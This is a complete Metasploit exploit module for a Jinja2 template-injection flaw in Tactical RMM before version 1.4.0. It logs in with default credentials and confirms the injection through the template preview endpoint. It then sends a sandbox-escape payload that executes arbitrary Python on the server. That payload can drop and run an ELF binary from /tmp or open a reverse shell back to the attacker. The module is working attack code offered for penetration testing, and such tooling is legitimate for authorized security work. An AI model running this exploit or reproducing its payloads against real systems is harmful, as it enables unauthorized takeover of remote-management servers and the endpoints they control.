📄 Tactical RMM Jinja2 SSTI Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
            'Description' => %q{
              This module exploits a Server-Side Template Injection (SSTI) vulnerability
              in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).
    
              The reporting template preview endpoint passes user-controlled Jinja2 template
              content to Environment.from_string() without sandboxing, allowing arbitrary
              Python code execution on the server.
    
              Valid credentials are required. The module authenticates to obtain a Knox API
              token, then delivers a Jinja2 SSTI payload through the template preview
              functionality to achieve OS command execution.
    
              The vulnerability was silently patched in version 1.4.0 by switching from
              jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
            },
            'Author' => [
              'Gabriel Gomes', # CVE discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
            ],
            'References' => [
              ['CVE', '2025-69516'],
              ['URL', 'https://github.com/amidaware/tacticalrmm'],
              ['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Targets' => [
              [
                'Python',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
                }
              ],
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
                }
              ],
              [
                'Linux x64',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'DisclosureDate' => '2026-01-29',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
          OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
          OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
          OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
        ])
      end
    
      def discover_api_host
        return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'env-config.js')
        )
    
        if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
          api_host = ::Regexp.last_match(1)
          vprint_status("Auto-discovered API host: #{api_host}")
          return api_host
        end
    
        nil
      end
    
      def api_request(opts = {})
        @api_host ||= discover_api_host
        if @api_host
          opts['headers'] ||= {}
          opts['headers']['Host'] = @api_host
        end
        send_request_cgi(opts)
      end
    
      def try_login
        res = api_request(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
          'ctype' => 'application/json',
          'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document
        return nil if json['totp'] == true
    
        json['token']
      end
    
      def login
        token = try_login
        fail_with(Failure::NoAccess, 'Authentication failed') unless token
    
        token
      end
    
      def send_template(token, template_md)
        api_request(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Token #{token}" },
          'data' => {
            template_md: template_md,
            type: 'html',
            template_css: '',
            template_html: nil,
            template_variables: '{}',
            dependencies: {},
            format: 'html',
            debug: false
          }.to_json
        )
      end
    
      def get_version(token)
        res = api_request(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
          'headers' => { 'Authorization' => "Token #{token}" }
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document
        json['trmm_version']
      end
    
      def check
        @token ||= try_login
        return CheckCode::Unknown('Authentication failed') unless @token
    
        vprint_status('Authenticated successfully')
    
        version = get_version(@token)
        if version
          vprint_status("Tactical RMM version: #{version}")
          return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')
    
          print_good("Version #{version} is vulnerable (< 1.4.0)")
        end
    
        vprint_status('Confirming SSTI...')
        rand_a = rand(2..100)
        rand_b = rand(2..100)
        expected = (rand_a * rand_b).to_s
        res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")
    
        return CheckCode::Unknown('No response from template preview endpoint') unless res
        return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
        return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200
    
        CheckCode::Safe("Template preview returned HTTP #{res.code}")
      end
    
      def ssti_payload(code)
        encoded = Rex::Text.encode_base64(code)
        '{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
        "{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
      end
    
      # The target container has no curl/wget, so we embed the ELF payload
      # inline as base64 and use Python to write, execute, and clean it up.
      def python_dropper(exe)
        p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
        "import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
      end
    
      def exploit
        @token ||= login
        print_status('Authenticated, token obtained')
        print_status('Sending SSTI payload...')
    
        case target['Arch']
        when ARCH_PYTHON
          code = payload.encoded
        when ARCH_CMD
          code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
        when ARCH_X64
          code = python_dropper(generate_payload_exe)
        end
    
        send_template(@token, ssti_payload(code))
      end
    end